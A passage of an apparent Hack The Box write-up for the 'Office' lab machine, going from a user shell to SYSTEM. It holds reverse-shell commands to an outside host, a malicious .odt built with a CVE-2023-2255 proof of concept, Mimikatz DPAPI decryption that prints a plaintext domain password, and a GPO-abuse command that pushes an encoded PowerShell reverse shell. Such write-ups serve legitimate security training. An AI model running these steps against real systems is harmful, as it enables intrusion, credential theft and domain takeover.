This shell cannot be used to get the user flag, but since we have tstark credentials, we can just move laterally to this user with runascs

c:\users\public\music> .\runascs.exe tstark <password here> cmd.exe -r 10.10.15.46:9999

A shell for user tstarkis received on port 9999.

> rlwrap -cAr nc -lvp 9999
listening on [any] 9999 ...
connect to [10.10.xxx.xxx] from office.htb [10.10.11.3] 64331
 
Microsoft Windows [Version 10.0.20348.2322]
(c) Microsoft Corporation. All rights reserved.
 
C:\Windows\system32> whoami
 
office\tstark

Which can be used to retrieve the user flag.

SYSTEM

Start from the tstark shell, and take the opportunity to enumerate the system.

C:\Windows\system32> systeminfo
 
Host Name:                 DC
OS Name:                   Microsoft Windows Server 2022 Standard
OS Version:                10.0.20348 N/A Build 20348
System Type:               x64-based PC

Find the file c:\xampp\htdocs\internal\resume.php and enumerate the source code. It seems it is an internal service allowing the employees to upload their resumes in DOC, DOCX, DOCM or ODT (which explains the box's name).

Looking for ways to to generate a malicious .odt files, we come across this PoC https://github.com/elweth-sec/CVE-2023-2255

Prepare a shell.exe payload with msfvenom, then transfer it to the folder c:\users\public\music in the victim.

Now use the PoC to create a malicious .odt

> python3 CVE-2023-2255.py --cmd 'c:\users\public\music\shell.exe' --output 'present.odt'
File present.odt has been created !

Start a listener and copy the file present.odt into c:\xampp\htdocs\internal\applications, which is the folder where the uploaded resumes land.

NOTE: for this I used the web_account shell, since the user tshark does not have write permissions in the applications folder. Alternatively, you can forward internal port to Kali and copy the file using the resume upload application.

Wait a while until someone opens the file. Shortly after a reverse shell is received on the listener for user ppotts

> rlwrap -cAr nc -lvp 9001
listening on [any] 9001 ...
connect to [10.10.xxx.xxx] from office.htb [10.10.11.3] 62704
 
Microsoft Windows [Version 10.0.20348.2322]
(c) Microsoft Corporation. All rights reserved.
 
> whoami
office\ppotts

Enumerate stored credentials.

> cmdkey /list
 
Currently stored credentials:
 
    Target: LegacyGeneric:target=MyTarget
    Type: Generic
    User: MyUser
   
    Target: Domain:interactive=OFFICE\hhogan
    Type: Domain Password
    User: OFFICE\hhogan

It seems credential for user hhogan is stored in the vault; however, you will not be able to use it with runas since it is protected by DPAPI.

Before trying to decrypt the DPAPI secret, it's good to read a couple of useful links:

https://github.com/gentilkiwi/mimikatz/wiki/howto-~-scheduled-tasks-credentials

https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials

Now that we understand what is happening, let's follow GentilKiwi's procedure. First, look for the Windows credential files in the system.

> dir /a %appdata%\Microsoft\Credentials
 
 Volume in drive C has no label.
 Volume Serial Number is C626-9388
 
 Directory of C:\Users\PPotts\AppData\Roaming\Microsoft\Credentials
 
02/19/2024  03:26 PM    <DIR>          .
01/18/2024  09:34 AM    <DIR>          ..
05/09/2023  01:08 PM               358 18A1927A997A794B65E9849883AC3F3E
05/09/2023  03:03 PM               398 84F1CAEEBF466550F4967858F9353FB4
02/19/2024  03:22 PM               374 E76CCA3670CD9BB98DF79E0A8D176F1E
02/19/2024  03:26 PM               374 FCC3ECA2B60DDA9204044C22EEC7CC48
               4 File(s)          1,504 bytes
               2 Dir(s)   4,610,813,952 bytes free

And the masterkey files.

> dir /a %appdata%\microsoft\protect
 
 Volume in drive C has no label.
 Volume Serial Number is C626-9388
 
 Directory of c:\users\ppotts\appdata\roaming\microsoft\protect
 
05/04/2023  09:58 AM    <DIR>          .
01/18/2024  09:34 AM    <DIR>          ..
05/02/2023  03:13 PM                24 CREDHIST
01/17/2024  03:43 PM    <DIR>          S-1-5-21-1199398058-4196589450-691661856-1107
01/17/2024  04:06 PM                76 SYNCHIST
               2 File(s)            100 bytes
               3 Dir(s)   3,185,594,368 bytes free
 
> dir /a c:\users\ppotts\appdata\roaming\microsoft\protect\S-1-5-21-1199398058-4196589450-691661856-1107
 
 Volume in drive C has no label.
 Volume Serial Number is C626-9388
 
 Directory of c:\users\ppotts\appdata\roaming\microsoft\protect\S-1-5-21-1199398058-4196589450-691661856-1107
 
01/17/2024  03:43 PM    <DIR>          .
05/04/2023  09:58 AM    <DIR>          ..
01/17/2024  03:43 PM               740 10811601-0fa9-43c2-97e5-9bef8471fc7d
05/02/2023  03:13 PM               740 191d3f9d-7959-4b4d-a520-a444853c47eb
05/02/2023  03:13 PM               900 BK-OFFICE
01/17/2024  03:43 PM                24 Preferred
               4 File(s)          2,404 bytes
               2 Dir(s)   3,184,939,008 bytes free

Transfer a copy of Mimikatz to the host and enumerate the credentials files. We will focus on this file in particular.

.#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/
 
dpapi::cred /in:%appdata%\Microsoft\Credentials\84F1CAEEBF466550F4967858F9353FB4
**BLOB**
  dwVersion          : 00000001 - 1
  guidProvider       : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
  dwMasterKeyVersion : 00000001 - 1
  guidMasterKey      : {191d3f9d-7959-4b4d-a520-a444853c47eb}
  dwFlags            : 20000000 - 536870912 (system ; )
  dwDescriptionLen   : 0000003a - 58
  szDescription      : Enterprise Credential Data
 
  algCrypt           : 00006603 - 26115 (CALG_3DES)
  dwAlgCryptLen      : 000000c0 - 192
  dwSaltLen          : 00000010 - 16
  pbSalt             : 649c4466d5d647dd2c595f4e43fb7e1d
  dwHmacKeyLen       : 00000000 - 0
  pbHmackKey         :
  algHash            : 00008004 - 32772 (CALG_SHA1)
  dwAlgHashLen       : 000000a0 - 160
  dwHmac2KeyLen      : 00000010 - 16
  pbHmack2Key        : 32e88dfd1927fdef0ede5abf2c024e3a
  dwDataLen          : 000000c0 - 192
  pbData             : f73b168ecbad599e5ca202cf9ff719ace31cc92423a28aff5838d7063de5cccd4ca86bfb2950391284b26a34b0eff2dbc9799bdd726df9fad9cb284bacd7f1ccbba0fe140ac16264896a810e80cac3b68f82c80347c4deaf682c2f4d3be1de025f0a68988fa9d633de943f7b809f35a141149ac748bb415990fb6ea95ef49bd561eb39358d1092aef3bbcc7d5f5f20bab8d3e395350c711d39dbe7c29d49a5328975aa6fd5267b39cf22ed1f9b933e2b8145d66a5a370dcf76de2acdf549fc97
  dwSignLen          : 00000014 - 20
  pbSign             : 21bfb22ca38e0a802e38065458cecef00b450976

We see this file uses the masterkey GUID {191d3f9d-7959-4b4d-a520-a444853c47eb}, so let's decrypt this masterkey with Mimikatz.

 .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/
 
dpapi::masterkey /in:c:\users\ppotts\appdata\roaming\microsoft\protect\S-1-5-21-1199398058-4196589450-691661856-1107\191d3f9d-7959-4b4d-a520-a444853c47eb /rpc
 
[...]
 
[domainkey] with RPC
[DC] 'office.htb' will be the domain
[DC] 'DC.office.htb' will be the DC server
  key : 87eedae4c65e0db47fcbc3e7e337c4cce621157863702adc224caf2eedcfbdbaadde99ec95413e18b0965dcac70344ed9848cd04f3b9491c336c4bde4d1d8166
  sha1: 85285eb368befb1670633b05ce58ca4d75c73c77

Now that we have the key, we can decrypt the credentials file and get hhogan password.

 .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/
 
dpapi::cred /in:%appdata%\Microsoft\Credentials\84F1CAEEBF466550F4967858F9353FB4 /masterkey::87eedae4c65e0db47fcbc3e7e337c4cce621157863702adc224caf2eedcfbdbaadde99ec95413e18b0965dcac70344ed9848cd04f3b9491c336c4bde4d1d8166
**BLOB**
  dwVersion          : 00000001 - 1
  guidProvider       : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
  dwMasterKeyVersion : 00000001 - 1
  guidMasterKey      : {191d3f9d-7959-4b4d-a520-a444853c47eb}
  dwFlags            : 20000000 - 536870912 (system ; )
  dwDescriptionLen   : 0000003a - 58
  szDescription      : Enterprise Credential Data
 
  algCrypt           : 00006603 - 26115 (CALG_3DES)
  dwAlgCryptLen      : 000000c0 - 192
  dwSaltLen          : 00000010 - 16
  pbSalt             : 649c4466d5d647dd2c595f4e43fb7e1d
  dwHmacKeyLen       : 00000000 - 0
  pbHmackKey         :
  algHash            : 00008004 - 32772 (CALG_SHA1)
  dwAlgHashLen       : 000000a0 - 160
  dwHmac2KeyLen      : 00000010 - 16
  pbHmack2Key        : 32e88dfd1927fdef0ede5abf2c024e3a
  dwDataLen          : 000000c0 - 192
  pbData             : f73b168ecbad599e5ca202cf9ff719ace31cc92423a28aff5838d7063de5cccd4ca86bfb2950391284b26a34b0eff2dbc9799bdd726df9fad9cb284bacd7f1ccbba0fe140ac16264896a810e80cac3b68f82c80347c4deaf682c2f4d3be1de025f0a68988fa9d633de943f7b809f35a141149ac748bb415990fb6ea95ef49bd561eb39358d1092aef3bbcc7d5f5f20bab8d3e395350c711d39dbe7c29d49a5328975aa6fd5267b39cf22ed1f9b933e2b8145d66a5a370dcf76de2acdf549fc97
  dwSignLen          : 00000014 - 20
  pbSign             : 21bfb22ca38e0a802e38065458cecef00b450976
 
Decrypting Credential:
 * volatile cache: GUID:{191d3f9d-7959-4b4d-a520-a444853c47eb};KeyHash:85285eb368befb1670633b05ce58ca4d75c73c77;Key:available
**CREDENTIAL**
  credFlags      : 00000030 - 48
  credSize       : 000000be - 190
  credUnk0       : 00000000 - 0
 
  Type           : 00000002 - 2 - domain_password
  Flags          : 00000000 - 0
  LastWritten    : 5/9/2023 11:03:21 PM
  unkFlagsOrSize : 00000018 - 24
  Persist        : 00000003 - 3 - enterprise
  AttributeCount : 00000000 - 0
  unk0           : 00000000 - 0
  unk1           : 00000000 - 0
  TargetName     : Domain:interactive=OFFICE\HHogan
  UnkData        : (null)
  Comment        : (null)
  TargetAlias    : (null)
  UserName       : OFFICE\HHogan
  CredentialBlob : H4ppyFtW183#
  Attributes     : 0

Use these credentials to log in with evil-winrm

> evil-winrm -u hhogan -p 'H4ppyFtW183#' -i dc.office.htb

Enumerate the domain.

> Get-ADDomain
 
AllowedDNSSuffixes                 : {}
ChildDomains                       : {}
ComputersContainer                 : CN=Computers,DC=office,DC=htb
DeletedObjectsContainer            : CN=Deleted Objects,DC=office,DC=htb
DistinguishedName                  : DC=office,DC=htb
DNSRoot                            : office.htb
DomainControllersContainer         : OU=Domain Controllers,DC=office,DC=htb
DomainMode                         : Windows2016Domain
DomainSID                          : S-1-5-21-1199398058-4196589450-691661856
ForeignSecurityPrincipalsContainer : CN=ForeignSecurityPrincipals,DC=office,DC=htb
Forest                             : office.htb
InfrastructureMaster               : DC.office.htb
LastLogonReplicationInterval       :
LinkedGroupPolicyObjects           : {CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=office,DC=htb}
LostAndFoundContainer              : CN=LostAndFound,DC=office,DC=htb
ManagedBy                          :
Name                               : office
NetBIOSName                        : OFFICE
ObjectClass                        : domainDNS
ObjectGUID                         : b93712c7-b7a5-449e-b050-3e85e60db699
ParentDomain                       :
PDCEmulator                        : DC.office.htb
PublicKeyRequiredPasswordRolling   : True
QuotasContainer                    : CN=NTDS Quotas,DC=office,DC=htb
ReadOnlyReplicaDirectoryServers    : {}
ReplicaDirectoryServers            : {DC.office.htb}
RIDMaster                          : DC.office.htb
SubordinateReferences              : {DC=ForestDnsZones,DC=office,DC=htb, DC=DomainDnsZones,DC=office,DC=htb, CN=Configuration,DC=office,DC=htb}
SystemsContainer                   : CN=System,DC=office,DC=htb
UsersContainer                     : CN=Users,DC=office,DC=htb

Enumerate the user hhogan, pay attention to group memberships.

> whoami
office\hhogan
 
> net user hhogan
User name                    HHogan
Full Name
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never
 
Password last set            5/6/2023 10:59:34 AM
Password expires             Never
Password changeable          5/7/2023 10:59:34 AM
Password required            Yes
User may change password     Yes
 
Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   5/10/2023 4:30:58 AM
 
Logon hours allowed          All
 
Local Group Memberships      *Remote Management Use
Global Group memberships     *Domain Users         *GPO Managers
The command completed successfully.

So the user is member of a group called GPO Managers, which suggests he may be able to write GPOs.

Enumerate all the domain GPOs.

> Get-GPO -All
 
DisplayName      : Windows Firewall GPO
DomainName       : office.htb
Owner            : OFFICE\Domain Admins
Id               : 04fe5c75-0078-4d44-97c5-8a796be906ec
GpoStatus        : AllSettingsEnabled
Description      :
CreationTime     : 5/10/2023 9:47:27 AM
ModificationTime : 5/10/2023 8:47:26 AM
UserVersion      : AD Version: 0, SysVol Version: 0
ComputerVersion  : AD Version: 0, SysVol Version: 0
WmiFilter        :
 
DisplayName      : Default Domain Policy
DomainName       : office.htb
Owner            : OFFICE\Domain Admins
Id               : 31b2f340-016d-11d2-945f-00c04fb984f9
GpoStatus        : AllSettingsEnabled
Description      :
CreationTime     : 4/14/2023 3:13:57 PM
ModificationTime : 5/10/2023 9:30:06 AM
UserVersion      : AD Version: 0, SysVol Version: 0
ComputerVersion  : AD Version: 18, SysVol Version: 18
WmiFilter        :
 
DisplayName      : Default Active Directory Settings GPO
DomainName       : office.htb
Owner            : OFFICE\Domain Admins
Id               : 37238285-35d0-4d0c-a702-b489c38ed505
GpoStatus        : AllSettingsEnabled
Description      :
CreationTime     : 5/10/2023 9:45:44 AM
ModificationTime : 5/10/2023 8:45:44 AM
UserVersion      : AD Version: 0, SysVol Version: 0
ComputerVersion  : AD Version: 0, SysVol Version: 0
WmiFilter        :
 
DisplayName      : Default Domain Controllers Policy
DomainName       : office.htb
Owner            : OFFICE\Domain Admins
Id               : 6ac1786c-016f-11d2-945f-00c04fb984f9
GpoStatus        : AllSettingsEnabled
Description      :
CreationTime     : 4/14/2023 3:13:57 PM
ModificationTime : 1/25/2024 2:40:02 PM
UserVersion      : AD Version: 0, SysVol Version: 0
ComputerVersion  : AD Version: 12, SysVol Version: 12
WmiFilter        :
 
DisplayName      : Windows Update GPO
DomainName       : office.htb
Owner            : OFFICE\Domain Admins
Id               : 7b6165c4-c41d-47ed-9a37-e1a058f230c1
GpoStatus        : AllSettingsEnabled
Description      :
CreationTime     : 5/10/2023 9:47:13 AM
ModificationTime : 5/10/2023 8:47:14 AM
UserVersion      : AD Version: 0, SysVol Version: 0
ComputerVersion  : AD Version: 0, SysVol Version: 0
WmiFilter        :
 
DisplayName      : Windows Update Domain Policy
DomainName       : office.htb
Owner            : OFFICE\Domain Admins
Id               : 86e68a9a-f5e9-49b9-a1e3-9ccdaa9251b4
GpoStatus        : AllSettingsEnabled
Description      :
CreationTime     : 5/10/2023 9:58:24 AM
ModificationTime : 5/10/2023 9:28:36 AM
UserVersion      : AD Version: 0, SysVol Version: 0
ComputerVersion  : AD Version: 3, SysVol Version: 0
WmiFilter        :
 
DisplayName      : Software Installation GPO
DomainName       : office.htb
Owner            : OFFICE\Domain Admins
Id               : 9d183bb5-7581-4c19-9390-b1ebccacce99
GpoStatus        : AllSettingsEnabled
Description      :
CreationTime     : 5/10/2023 9:47:05 AM
ModificationTime : 5/10/2023 8:47:04 AM
UserVersion      : AD Version: 0, SysVol Version: 0
ComputerVersion  : AD Version: 0, SysVol Version: 0
WmiFilter        :
 
DisplayName      : Password Policy GPO
DomainName       : office.htb
Owner            : OFFICE\Domain Admins
Id               : ec1feba4-db03-4721-81db-b0baa61ffa18
GpoStatus        : AllSettingsEnabled
Description      :
CreationTime     : 5/10/2023 9:46:49 AM
ModificationTime : 5/10/2023 8:46:48 AM
UserVersion      : AD Version: 0, SysVol Version: 0
ComputerVersion  : AD Version: 0, SysVol Version: 0
WmiFilter        :

Notice the Default Domain Controllers Policy GPO and take note of its Id: 6AC1786C-016F-11D2-945F-00C04fB984F9

Upload a PowerView copy (https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) and continue enumerating the GPO Managers group.

> Get-NetGroup -name *GPO*
 
usncreated            : 57690
grouptype             : GLOBAL_SCOPE, SECURITY
samaccounttype        : GROUP_OBJECT
samaccountname        : GPO Managers
whenchanged           : 5/10/2023 4:48:34 PM
objectsid             : S-1-5-21-1199398058-4196589450-691661856-1117
objectclass           : {top, group}
cn                    : GPO Managers
usnchanged            : 57694
dscorepropagationdata : 1/1/1601 12:00:00 AM
name                  : GPO Managers
distinguishedname     : CN=GPO Managers,CN=Users,DC=office,DC=htb
member                : CN=HHogan,CN=Users,DC=office,DC=htb
whencreated           : 5/10/2023 4:48:23 PM
instancetype          : 4
objectguid            : ab92e389-387b-4346-94e5-84b3e3c27ac5
objectcategory        : CN=Group,CN=Schema,CN=Configuration,DC=office,DC=htb

Take note of the ojectsid: S-1-5-21-1199398058-4196589450-691661856-1117 and move forward.

Next step is to enumerate all the permissions for all GPO in the current domain with PowerView.

> Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name}

The ouput is very large but, if you analyze it carefully, you'll see group GPO Managers (S-1-5-21-1199398058-4196589450-691661856-1117) than can write on the Default Domain Controllers Policy (6AC1786C-016F-11D2-945F-00C04fB984F9).

[…]
AceType               : AccessAllowed
ObjectDN              : CN={6AC1786C-016F-11D2-945F-00C04fB984F9}, CN=Policies, CN=System, DC=office, DC=htb
ActiveDirectoryRights : CreateChild, DeleteChild, ReadProperty, WriteProperty, GenericExecute
OpaqueLength          : 0
ObjectSID             :
InheritanceFlags      : ContainerInherit
BinaryLength          : 36
IsInherited           : False
IsCallback            : False
PropagationFlags      : None
SecurityIdentifier    : S-1-5-21-1199398058-4196589450-691661856-1117
AccessMask            : 131127
AuditFlags            : None
AceFlags              : ContainerInherit
AceQualifier          : AccessAllowed
[…]

To exploit this misconfiguration we will use a tool called SharpGPOAbuse (https://github.com/byronkg/SharpGPOAbuse), so we can modify the GPO and execute any command as administrator. A list of the tool capabilities is available here: https://github.com/FSecureLABS/SharpGPOAbuse

In this case, we will abuse the GPO to send a base-64 encoded reverse shell under the administrator context.

> .\SharpGPOAbuse.exe --AddComputerTask --TaskName "New Task" --Author OFFICE\Administrator --Command "cmd.exe" --Arguments "/c powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOA[...]" --GPOName "Default Domain Controllers Policy"
 
[+] Domain = office.htb
[+] Domain Controller = DC.office.htb
[+] Distinguished Name = CN=Policies,CN=System,DC=office,DC=htb
[+] GUID of "Default Domain Controllers Policy" is: {6AC1786C-016F-11D2-945F-00C04fB984F9}
[!] The GPO already includes a ScheduledTasks.xml. Use --Force to append to ScheduledTasks.xml or choose another GPO.
[-] Exiting...

The task is added as a new immediate tasks, to force execution just update the GPO policy.

> gpupdate /force
 
Updating policy...
 
Computer Policy update has completed successfully.
 
User Policy update has completed successfully.

A system reverse shell is received on the listener.

You are root.

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Last updated 2 months ago